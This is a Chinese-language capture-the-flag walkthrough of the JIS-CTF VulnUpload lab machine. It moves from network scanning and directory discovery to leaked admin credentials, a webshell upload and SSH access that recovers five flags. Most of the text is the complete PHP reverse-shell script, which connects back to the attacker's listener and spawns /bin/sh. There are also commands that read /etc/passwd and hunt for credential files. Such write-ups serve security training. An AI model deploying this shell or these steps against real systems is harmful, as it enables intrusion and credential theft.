JIS-CTF-VulnUpload-CTF01 靶机复现

靶机难度:中等

这个靶机得用virtualbox打开,环境:vmware 上kali,virtualbox上靶机,如何让他们在一个内网里,请看这篇文章https://blog.csdn.net/qq_43342566/article/details/102679837

0x00

首先netdiscover 先来发先主机
netdiscover -r 192.168.56.0/24
在这里插入图片描述
很显然101是目标靶机
nmap扫描一下
nmap -A 192.168.56.101
在这里插入图片描述
就开放了2个端口,22和80端口。

0x01

dirb扫描一下网页目录
dirb http://192.168.56.101
在这里插入图片描述
有一个flag目录,访问一下,oh,第一个flag到手flag{8734509128730458630012095}
在这里插入图片描述
还有一个/admin_area/目录,访问查看源代码,收获很大
第二个flag:flag{7412574125871236547895214}
管理员账号密码:
username : admin
password : 3v1l_H@ck3r
在这里插入图片描述
再查看一下robots.txt
在这里插入图片描述
发现只有/upload_files和 /flag能打开
先放这吧

0x02

之前得到了管理员账号密码,我们登上去康康。
在这里插入图片描述
是一个文件上传,尝试上传一个php的马上去
代码如下 cat /usr/share/webshells/php/php-reverse-shell.php,修改一下ip地址和端口

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.102';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

然后kali这边开启监听
nc -nvlp 4444
然后我们去访问上传的东西,刚刚找到一个/uploaded_files/文件夹,现在去访问看看,却什么都没有,那在后面直接加一个文件名看看,成功反弹shell.
在这里插入图片描述

0x03

到网站目录,发现了一个flag.txt,没有权限读,有一个hint.txt。
第三个flag到手,flag{7645110034526579012345670}
在这里插入图片描述
告诉我们要去找technawi的密码,他藏在一个文件里。
cat /etc/passwd看一下
在这里插入图片描述
果然有这个用户,我们查看一下这个用户的操作信息
find / -user technawi -type f 2>& 1 | grep -v “Permission” | grep -v “No such”
在这里插入图片描述
cat一下
cat /etc/mysql/conf.d/credentials.txt
在这里插入图片描述
得到了第四个flag,flag{7845658974123568974185412}
用户名密码给出来了
username : technawi
password : 3vilH@ksor
我们连过去
ssh [email protected]
在这里插入图片描述
直接 cat flag.txt 第五个flag{5473215946785213456975249}
在这里插入图片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章